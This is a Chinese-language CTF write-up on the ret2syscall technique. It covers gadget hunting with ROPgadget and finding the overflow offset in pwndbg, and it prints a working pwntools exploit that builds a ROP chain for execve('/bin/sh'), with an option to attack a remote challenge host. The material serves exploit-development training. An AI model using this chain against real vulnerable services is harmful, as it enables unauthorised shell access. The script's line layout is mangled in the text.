1.题目信息
链接:https://pan.baidu.com/s/19ymHlZZmVGsJHFmmlwww0w 提取码:r4el 首先checksec 看一下保护机制
2.原理
ret2syscall 即控制程序执行系统调用来获取 shell 什么是系统调用?
- 操作系统提供给用户的编程接口
- 是提供访问操作系统所管理的底层硬件的接口
- 本质上是一些内核函数代码,以规范的方式驱动硬件
- x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用 mov eax, 0xb mov ebx, [“/bin/sh”] mov ecx, 0 mov edx, 0 int 0x80 => execve("/bin/sh",NULL,NULL)
3.解题分析
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# chmod +x ret2syscall
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# checksec ./ret2syscall
[*] '/ctf/work/how2heap/ret2syscall/ret2syscall'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)
root@pwn_test1604:/ctf/work/how2heap/ret2syscall#
3.1 使用ida打开分析
gets函数存在明显的栈溢出,但是这次没有后门函数,NX防护也打开了,那么就要换一种套路了,通过系统调用拿到shell 我们需要控制eax,ebx,ecx,edx的值,可以使用ROPgadget这个工具帮我们找到所需的代码片段。
3.2 首先寻找控制 eax 的 gadgets ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
3.3 然后寻找控制ebx的 ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx',其中红色框框圈出来的能让我们控制余下的寄存器,就不用再接着找了
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
root@pwn_test1604:/ctf/work/how2heap/ret2syscall#
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
3.4 接着寻找程序中有没有int 80指令,ROPgadget --binary ret2syscall --only 'int'
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# ROPgadget --binary ret2syscall --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfcUnique gadgets found: 4
3.5 最后我们还需要找到一个字符串/bin/sh,ROPgadget --binary ret2syscall --string '/bin/sh'
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# ROPgadget --binary ret2syscall --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
root@pwn_test1604:/ctf/work/how2heap/ret2syscall#
3.6 这样我们就可以构造0xb的系统调用,具体要溢出多少字节可以使用gdb动态调试获取, gdb ret2syscall b main(在main函数下断点) r(让程序跑起来) n(单步执行) 一直走到gets函数输入字符串AAAAAAAA
3.7 然后使用stack 35命令查看栈内容
pwndbg> r
Starting program: /ctf/work/how2heap/ret2syscall/ret2syscall Breakpoint 1, main () at rop.c:8
8 in rop.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────EAX 0x1EBX 0x80481a8 (_init) ◂— push ebxECX 0x1c872072EDX 0xffffd714 —▸ 0x80481a8 (_init) ◂— push ebxEDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4] ESI 0x0EBP 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebxESP 0xffffd670 —▸ 0x80edd40 ◂— 0x0EIP 0x8048e2d (main+9) ◂— mov eax, dword ptr [0x80ea4c0]
─────────────────────────────────[ DISASM ]──────────────────────────────────► 0x8048e2d <main+9> mov eax, dword ptr [stdout] <0x80ea4c0>0x8048e32 <main+14> mov dword ptr [esp + 0xc], 00x8048e3a <main+22> mov dword ptr [esp + 8], 20x8048e42 <main+30> mov dword ptr [esp + 4], 00x8048e4a <main+38> mov dword ptr [esp], eax0x8048e4d <main+41> call setvbuf <0x804f960>0x8048e52 <main+46> mov eax, dword ptr [stdin] <0x80ea4c4>0x8048e57 <main+51> mov dword ptr [esp + 0xc], 00x8048e5f <main+59> mov dword ptr [esp + 8], 10x8048e67 <main+67> mov dword ptr [esp + 4], 00x8048e6f <main+75> mov dword ptr [esp], eax
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffffd670 —▸ 0x80edd40 ◂— 0x0
01:0004│ 0xffffd674 ◂— 0x0
... ↓
03:000c│ 0xffffd67c —▸ 0x80cf999 ◂— add byte ptr [eax], al
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ 0xffffd68c —▸ 0x80bce97 (__register_frame_info+39) ◂— add esp, 0x1c
────────────────────────────────[ BACKTRACE ]────────────────────────────────► f 0 8048e2d main+9f 1 804907a __libc_start_main+458
Breakpoint main
pwndbg> n
9 in rop.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────EAX 0x0EBX 0x80481a8 (_init) ◂— push ebxECX 0x0EDX 0x80eb4d4 (_IO_stdfile_1_lock) ◂— 0x0EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4] ESI 0x0EBP 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebxESP 0xffffd670 —▸ 0x80ea200 (_IO_2_1_stdout_) ◂— 0xfbad2087EIP 0x8048e52 (main+46) ◂— mov eax, dword ptr [0x80ea4c4]
─────────────────────────────────[ DISASM ]──────────────────────────────────0x8048e32 <main+14> mov dword ptr [esp + 0xc], 00x8048e3a <main+22> mov dword ptr [esp + 8], 20x8048e42 <main+30> mov dword ptr [esp + 4], 00x8048e4a <main+38> mov dword ptr [esp], eax0x8048e4d <main+41> call setvbuf <0x804f960>► 0x8048e52 <main+46> mov eax, dword ptr [stdin] <0x80ea4c4>0x8048e57 <main+51> mov dword ptr [esp + 0xc], 00x8048e5f <main+59> mov dword ptr [esp + 8], 10x8048e67 <main+67> mov dword ptr [esp + 4], 00x8048e6f <main+75> mov dword ptr [esp], eax0x8048e72 <main+78> call setvbuf <0x804f960>
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffffd670 —▸ 0x80ea200 (_IO_2_1_stdout_) ◂— 0xfbad2087
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x2
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ 0xffffd68c —▸ 0x80bce97 (__register_frame_info+39) ◂— add esp, 0x1c
────────────────────────────────[ BACKTRACE ]────────────────────────────────► f 0 8048e52 main+46f 1 804907a __libc_start_main+458
pwndbg> n
13 in rop.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────EAX 0x0EBX 0x80481a8 (_init) ◂— push ebxECX 0x0EDX 0x80eb4e0 (_IO_stdfile_0_lock) ◂— 0x0EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4] ESI 0x0EBP 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebxESP 0xffffd670 —▸ 0x80ea360 (_IO_2_1_stdin_) ◂— 0xfbad2288EIP 0x8048e77 (main+83) ◂— mov dword ptr [esp], 0x80be410
─────────────────────────────────[ DISASM ]──────────────────────────────────0x8048e57 <main+51> mov dword ptr [esp + 0xc], 00x8048e5f <main+59> mov dword ptr [esp + 8], 10x8048e67 <main+67> mov dword ptr [esp + 4], 00x8048e6f <main+75> mov dword ptr [esp], eax0x8048e72 <main+78> call setvbuf <0x804f960>► 0x8048e77 <main+83> mov dword ptr [esp], 0x80be4100x8048e7e <main+90> call puts <0x804f7e0>0x8048e83 <main+95> mov dword ptr [esp], 0x80be43b0x8048e8a <main+102> call puts <0x804f7e0>0x8048e8f <main+107> lea eax, [esp + 0x1c]0x8048e93 <main+111> mov dword ptr [esp], eax
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffffd670 —▸ 0x80ea360 (_IO_2_1_stdin_) ◂— 0xfbad2288
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x1
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ 0xffffd68c —▸ 0x80bce97 (__register_frame_info+39) ◂— add esp, 0x1c
────────────────────────────────[ BACKTRACE ]────────────────────────────────► f 0 8048e77 main+83f 1 804907a __libc_start_main+458
pwndbg> n
This time, no system() and NO SHELLCODE!!!
14 in rop.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────EAX 0x2bEBX 0x80481a8 (_init) ◂— push ebxECX 0x80eb4d4 (_IO_stdfile_1_lock) ◂— 0x0EDX 0x2bEDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4] ESI 0x0EBP 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebxESP 0xffffd670 —▸ 0x80be410 ◂— push esp /* 'This time, no system() and NO SHELLCODE!!!' */EIP 0x8048e83 (main+95) ◂— mov dword ptr [esp], 0x80be43b
─────────────────────────────────[ DISASM ]──────────────────────────────────0x8048e67 <main+67> mov dword ptr [esp + 4], 00x8048e6f <main+75> mov dword ptr [esp], eax0x8048e72 <main+78> call setvbuf <0x804f960>0x8048e77 <main+83> mov dword ptr [esp], 0x80be4100x8048e7e <main+90> call puts <0x804f7e0>► 0x8048e83 <main+95> mov dword ptr [esp], 0x80be43b0x8048e8a <main+102> call puts <0x804f7e0>0x8048e8f <main+107> lea eax, [esp + 0x1c]0x8048e93 <main+111> mov dword ptr [esp], eax0x8048e96 <main+114> call gets <0x804f650>0x8048e9b <main+119> mov eax, 0
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffffd670 —▸ 0x80be410 ◂— push esp /* 'This time, no system() and NO SHELLCODE!!!' */
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x1
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ 0xffffd68c —▸ 0x80bce97 (__register_frame_info+39) ◂— add esp, 0x1c
────────────────────────────────[ BACKTRACE ]────────────────────────────────► f 0 8048e83 main+95f 1 804907a __libc_start_main+458
pwndbg> n
What do you plan to do?
15 in rop.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────EAX 0x18EBX 0x80481a8 (_init) ◂— push ebxECX 0x80eb4d4 (_IO_stdfile_1_lock) ◂— 0x0EDX 0x18EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4] ESI 0x0EBP 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebxESP 0xffffd670 —▸ 0x80be43b ◂— push edi /* 'What do you plan to do?' */EIP 0x8048e8f (main+107) ◂— lea eax, [esp + 0x1c]
─────────────────────────────────[ DISASM ]──────────────────────────────────0x8048e72 <main+78> call setvbuf <0x804f960>0x8048e77 <main+83> mov dword ptr [esp], 0x80be4100x8048e7e <main+90> call puts <0x804f7e0>0x8048e83 <main+95> mov dword ptr [esp], 0x80be43b0x8048e8a <main+102> call puts <0x804f7e0>► 0x8048e8f <main+107> lea eax, [esp + 0x1c]0x8048e93 <main+111> mov dword ptr [esp], eax0x8048e96 <main+114> call gets <0x804f650>0x8048e9b <main+119> mov eax, 00x8048ea0 <main+124> leave 0x8048ea1 <main+125> ret
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffffd670 —▸ 0x80be43b ◂— push edi /* 'What do you plan to do?' */
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x1
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ 0xffffd68c —▸ 0x80bce97 (__register_frame_info+39) ◂— add esp, 0x1c
────────────────────────────────[ BACKTRACE ]────────────────────────────────► f 0 8048e8f main+107f 1 804907a __libc_start_main+458
pwndbg> n
AAAAAAAA
17 in rop.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────EAX 0xffffd68c ◂— 'AAAAAAAA'EBX 0x80481a8 (_init) ◂— push ebxECX 0xfbad2288EDX 0x80eb4e0 (_IO_stdfile_0_lock) ◂— 0x0EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4] ESI 0x0EBP 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebxESP 0xffffd670 —▸ 0xffffd68c ◂— 'AAAAAAAA'EIP 0x8048e9b (main+119) ◂— mov eax, 0
─────────────────────────────────[ DISASM ]──────────────────────────────────0x8048e83 <main+95> mov dword ptr [esp], 0x80be43b0x8048e8a <main+102> call puts <0x804f7e0>0x8048e8f <main+107> lea eax, [esp + 0x1c]0x8048e93 <main+111> mov dword ptr [esp], eax0x8048e96 <main+114> call gets <0x804f650>► 0x8048e9b <main+119> mov eax, 00x8048ea0 <main+124> leave 0x8048ea1 <main+125> ret ↓0x804907a <__libc_start_main+458> mov dword ptr [esp], eax0x804907d <__libc_start_main+461> call exit <0x804e740>0x8049082 <__libc_start_main+466> call _dl_discover_osversion <0x80700b0>
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffffd670 —▸ 0xffffd68c ◂— 'AAAAAAAA'
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x1
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ eax 0xffffd68c ◂— 'AAAAAAAA'
────────────────────────────────[ BACKTRACE ]────────────────────────────────► f 0 8048e9b main+119f 1 804907a __libc_start_main+458
pwndbg> stack 35
00:0000│ esp 0xffffd670 —▸ 0xffffd68c ◂— 'AAAAAAAA'
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x1
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ eax 0xffffd68c ◂— 'AAAAAAAA'
... ↓
09:0024│ 0xffffd694 —▸ 0xffffd700 ◂— 0x1
0a:0028│ 0xffffd698 ◂— 0x80000
0b:002c│ 0xffffd69c —▸ 0x8048c1f (init_cacheinfo+319) ◂— mov esi, eax
0c:0030│ 0xffffd6a0 ◂— 0x28 /* '(' */
0d:0034│ 0xffffd6a4 ◂— 0x10
0e:0038│ 0xffffd6a8 —▸ 0x80e9f44 —▸ 0x80eaea0 (_nl_global_locale) —▸ 0x80c3ae0 (_nl_C_LC_CTYPE) —▸ 0x80d15fc (_nl_C_name) ◂— ...
0f:003c│ 0xffffd6ac —▸ 0x8048e03 (frame_dummy+35) ◂— mov eax, dword ptr [0x80e9f64]
10:0040│ 0xffffd6b0 —▸ 0x80da404 (__EH_FRAME_BEGIN__) ◂— adc al, 0
11:0044│ 0xffffd6b4 —▸ 0x80eaf84 (object) ◂— 0xffffffff
12:0048│ 0xffffd6b8 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
13:004c│ 0xffffd6bc ◂— 0x1
14:0050│ 0xffffd6c0 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
15:0054│ 0xffffd6c4 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
16:0058│ 0xffffd6c8 ◂— 0x1
17:005c│ 0xffffd6cc —▸ 0x8049612 (__libc_csu_init+130) ◂— add ebp, 1
18:0060│ 0xffffd6d0 ◂— 0x1
19:0064│ 0xffffd6d4 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
1a:0068│ 0xffffd6d8 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
1b:006c│ 0xffffd6dc ◂— 0x2
1c:0070│ 0xffffd6e0 —▸ 0x80ea078 (__exit_funcs) —▸ 0x80eb2a0 (initial) ◂— 0x0
1d:0074│ 0xffffd6e4 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
1e:0078│ 0xffffd6e8 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
1f:007c│ 0xffffd6ec —▸ 0x80481a8 (_init) ◂— push ebx
20:0080│ 0xffffd6f0 ◂— 0x0
21:0084│ 0xffffd6f4 —▸ 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4]
22:0088│ ebp 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
pwndbg>
pwndbg> stack 35
00:0000│ esp 0xffffd670 —▸ 0xffffd68c ◂— 'AAAAAAAA'
01:0004│ 0xffffd674 ◂— 0x0
02:0008│ 0xffffd678 ◂— 0x1
03:000c│ 0xffffd67c ◂— 0x0
04:0010│ 0xffffd680 ◂— 0x1
05:0014│ 0xffffd684 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
06:0018│ 0xffffd688 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
07:001c│ eax 0xffffd68c ◂— 'AAAAAAAA'
... ↓
09:0024│ 0xffffd694 —▸ 0xffffd700 ◂— 0x1
0a:0028│ 0xffffd698 ◂— 0x80000
0b:002c│ 0xffffd69c —▸ 0x8048c1f (init_cacheinfo+319) ◂— mov esi, eax
0c:0030│ 0xffffd6a0 ◂— 0x28 /* '(' */
0d:0034│ 0xffffd6a4 ◂— 0x10
0e:0038│ 0xffffd6a8 —▸ 0x80e9f44 —▸ 0x80eaea0 (_nl_global_locale) —▸ 0x80c3ae0 (_nl_C_LC_CTYPE) —▸ 0x80d15fc (_nl_C_name) ◂— ...
0f:003c│ 0xffffd6ac —▸ 0x8048e03 (frame_dummy+35) ◂— mov eax, dword ptr [0x80e9f64]
10:0040│ 0xffffd6b0 —▸ 0x80da404 (__EH_FRAME_BEGIN__) ◂— adc al, 0
11:0044│ 0xffffd6b4 —▸ 0x80eaf84 (object) ◂— 0xffffffff
12:0048│ 0xffffd6b8 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
13:004c│ 0xffffd6bc ◂— 0x1
14:0050│ 0xffffd6c0 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
15:0054│ 0xffffd6c4 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
16:0058│ 0xffffd6c8 ◂— 0x1
17:005c│ 0xffffd6cc —▸ 0x8049612 (__libc_csu_init+130) ◂— add ebp, 1
18:0060│ 0xffffd6d0 ◂— 0x1
19:0064│ 0xffffd6d4 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
1a:0068│ 0xffffd6d8 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
1b:006c│ 0xffffd6dc ◂— 0x2
1c:0070│ 0xffffd6e0 —▸ 0x80ea078 (__exit_funcs) —▸ 0x80eb2a0 (initial) ◂— 0x0
1d:0074│ 0xffffd6e4 —▸ 0xffffd784 —▸ 0xffffd8b3 ◂— '/ctf/work/how2heap/ret2syscall/ret2syscall'
1e:0078│ 0xffffd6e8 —▸ 0xffffd78c —▸ 0xffffd8de ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
1f:007c│ 0xffffd6ec —▸ 0x80481a8 (_init) ◂— push ebx
20:0080│ 0xffffd6f0 ◂— 0x0
21:0084│ 0xffffd6f4 —▸ 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8065cb0 (__stpcpy_ssse3) ◂— mov edx, dword ptr [esp + 4]
22:0088│ ebp 0xffffd6f8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
f8 - 8c = 6c,再加上ebp的4个字节,总共需要填充0x70个字节到返回地址 最后成功利用的堆栈图如下
3.8 exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-from pickle import TRUE
from pwn import *
import syscontext.terminal=["tmux","sp","-h"]
context.log_level='debug'
#context.arch='i386'DEBUG = 1LOCAL = True
BIN ='./ret2syscall'
HOST ='pwn2.jarvisoj.com'
PORT =9877
#HOST ='node5.buuoj.cn'
#PORT =29787def get_base_address(proc):return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)def debug(bps,_s):script = "handle SIGALRM ignore\n"PIE = get_base_address(p)script += "set $_base = 0x{:x}\n".format(PIE)for bp in bps:script += "b *0x%x\n"%(PIE+bp)script += _sgdb.attach(p,gdbscript=script)# pwn,caidan,leak,libc
# recv recvuntil send sendline sendlineafter sendafter
#aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab#shellcode = asm(shellcraft.sh())def exploit(p):pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90int_80 = 0x08049421bin_sh = 0x080be408pl = flat(['A' * 0x70, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, bin_sh, int_80])p.sendline(pl)p.interactive()returnif __name__ == "__main__":elf = ELF(BIN)if len(sys.argv) > 1:LOCAL = Falsep = remote(HOST, PORT)exploit(p)else:LOCAL = Truep = process(BIN)log.info('PID: '+ str(proc.pidof(p)[0]))# pauseif DEBUG:debug([],"")exploit(p)
3.9 运行结果
root@pwn_test1604:/ctf/work/how2heap/ret2syscall# python ret2syscall1.py │ ESI 0x80ea360 (_IO_2_1_stdin_) ◂— 0xfbad2288
[DEBUG] '/ctf/work/how2heap/ret2syscall/ret2syscall' is statically linked, skipping GOT/PLT symbols │ EBP 0xff8584b8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
[DEBUG] '/ctf/work/how2heap/ret2syscall/ret2syscall' is statically linked, skipping GOT/PLT symbols │ ESP 0xff8583a8 —▸ 0xff8584b8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
[*] '/ctf/work/how2heap/ret2syscall/ret2syscall' │ EIP 0xf7fcf589 (__kernel_vsyscall+9) ◂— pop ebpArch: i386-32-little │───────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────RELRO: Partial RELRO │ ► 0xf7fcf589 <__kernel_vsyscall+9> pop ebpStack: No canary found │ 0xf7fcf58a <__kernel_vsyscall+10> pop edxNX: NX enabled │ 0xf7fcf58b <__kernel_vsyscall+11> pop ecxPIE: No PIE (0x8048000) │ 0xf7fcf58c <__kernel_vsyscall+12> ret
[+] Starting local process './ret2syscall': pid 114 │ ↓
[*] PID: 114 │ 0x806d0b2 <__read_nocancel+24> pop ebx
